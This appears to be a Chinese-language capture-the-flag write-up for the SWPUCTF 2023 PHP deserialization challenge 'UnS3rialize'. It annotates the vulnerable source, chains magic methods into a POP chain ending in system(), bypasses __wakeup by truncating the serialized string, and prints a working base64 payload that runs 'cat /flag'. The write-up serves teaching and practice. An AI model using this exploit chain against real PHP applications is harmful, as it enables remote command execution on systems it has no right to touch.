[SWPUCTF 2023 秋季新生赛]UnS3rialize

[SWPUCTF 2023 秋季新生赛]UnS3rialize

点开之后得到一串php代码:

php 复制代码
 <?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}
Let's do some deserialization :)

首先审计这段代码。

这段 PHP 代码定义了四个类(NSS、C、T、F),并通过判断是否有特定的 GET 参数来进行反序列化操作。整体功能似乎是通过反序列化用户传入的数据来执行一系列操作,包括输出特定信息和可能执行系统命令,同时也存在一些条件判断以控制输出结果。

以下是对代码的详细解读:

php 复制代码
 <?php
highlight_file(__FILE__);这个函数会高亮显示当前文
件的代码,通常在调试或展示代码时使用,但在生产环境中
一般不应该使用,因为它可能会暴露敏感信息。
error_reporting(0);    关闭了 PHP 的错误报告。这
在某些情况下可能会隐藏潜在的问题,不利于调试和发现错误。
class NSS  定义了一个名为NSS的类。
{
    public $cmd;声明了一个公共属性cmd,可以从外部
    直接访问和修改。
    function __invoke()  __invoke()魔术方法:当对象
    被当作函数调用时会触发这个方法。它会输出一段文本,
    然后使用system()函数执行$this->cmd所存储的命令。
    这可能存在安全风险,如果cmd的值被恶意控制,可能会
    导致命令执行漏洞。
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()  __wakeup()魔术方法:在对象
    被反序列化时会触发这个方法。它会输出一段文本,并将
    cmd属性设置为固定的字符串。
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}
class C  定义了一个名为C的类。
{
    public $whoami;公共属性。
    function __get($argv)__get()魔术方法:当尝试访问
    一个不存在的属性时会触发这个方法。它会输出一段文本,
    然后尝试获取whoami属性的值并返回。如果whoami是一个
    可调用的对象,那么会调用它并返回结果,这也可能存在安全风险。
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}
class T   定义了一个名为T的类
{
    public $sth;  公共属性。
    function __toString()           __toString()魔
    术方法:当对象被当作字符串使用时会触发这个方法。它
    会输出一段文本,然后尝试获取$this->sth->var的值并
    返回。如果sth或者sth->var的值被恶意控制,可能会导
    致意外的行为。
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}
class F  定义了一个名为F的类。
{
    public $user = "nss";
    public $passwd = "ctf";  初始化了两个公共属性,
    分别为用户名和密码。
    public $notes;  另一个公共属性。
    function __construct($user, $passwd) __construct()构
    造方法:接受两个参数并将其分别赋值给user和passwd属性。
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()        __destruct()析构方法:
    当对象被销毁时会触发这个方法。它会检查user和passwd是
    否分别为特定的值,如果是,则输出一些文本并显示notes属
    性的值,否则输出错误信息并终止程序。
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}检查是否存在$_GET['ser']参数。如果存在,先对其进行
 base64 解码,然后反序列化得到的结果赋值给$ser变量。
 如果不存在这个参数,则输出提示信息。这里的反序列化
 操作如果传入的参数被恶意构造,可能会导致安全问题,
 例如对象注入攻击。
Let's do some deserialization :)

从后往前推,出口是NSS.__invoke()的命令执行

调用此方法往前推到C.__get()

然后就是访问不存在属性,往前推到T.__toString()

再往前推到F.__destruct()

pop链梳理完再看看wakeup的绕过,用的fast-destruct

然后我们构造pop链:

php 复制代码
F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()

编写如下脚本:

php 复制代码
<?php
highlight_file(__FILE__);
class NSS
{
    public $cmd='cat /flag';
} 
class T
{
    public $sth;
}

class C
{
    public $whoami;
} 
class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
}

$a=new F();
$b=new T();
$c=new C();
$d=new NSS();
$a->user='SWPU';
$a->passwd='NSS';
$a->notes=$b;
$b->sth=$c;
$c->whoami=$d;
$remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
echo base64_encode($remove);

运行之后得到:
得到了一串编码:

php 复制代码
TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX0=

然后我们构造payload:

php 复制代码
?ser=TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX0=

接着我们打开HackBar运行一下得到flag:
由此得到本题flag:

NSSCTF{ebc6b78c-cbc4-488e-914c-6f062ad94509}

相关推荐
卓大胖_4 分钟前
Next.js 新手容易犯的错误 _ 性能优化与安全实践(6)
前端·javascript·安全
网安墨雨17 分钟前
网络安全离我们不远!
安全·web安全
码农炎可30 分钟前
K8S 黑魔法之如何从 Pod 拿到节点的命令行
安全·云原生·容器·kubernetes
程序员shen16161137 分钟前
注意⚠️:矩阵系统源码开发/SaaS矩阵系统开源/抖音矩阵开发优势和方向
java·大数据·数据库·python·php
百家方案1 小时前
「下载」智慧园区及重点区域安全防范解决方案:框架统一规划,建设集成管理平台
大数据·人工智能·安全·智慧园区·数智化园区
龙智DevSecOps解决方案1 小时前
龙智出席2024零跑智能汽车技术论坛,分享功能安全、需求管理、版本管理、代码扫描等DevSecOps落地实践
安全·汽车·devops·需求管理·版本控制·流程自动化·代码质量分析
hgdlip1 小时前
ip归属地是什么意思?ip归属地是实时定位吗
网络·tcp/ip·web安全
shaoing1 小时前
php的zip扩展 先装libzip
php
为天空着色1 小时前
TOTP双因素认证(2FA)php简单实现
密码学·php
科技小E2 小时前
NVR小程序接入平台EasyNVR视频监控技术如何助力餐饮行业实现明厨亮灶
安全·小程序·音视频·视频监控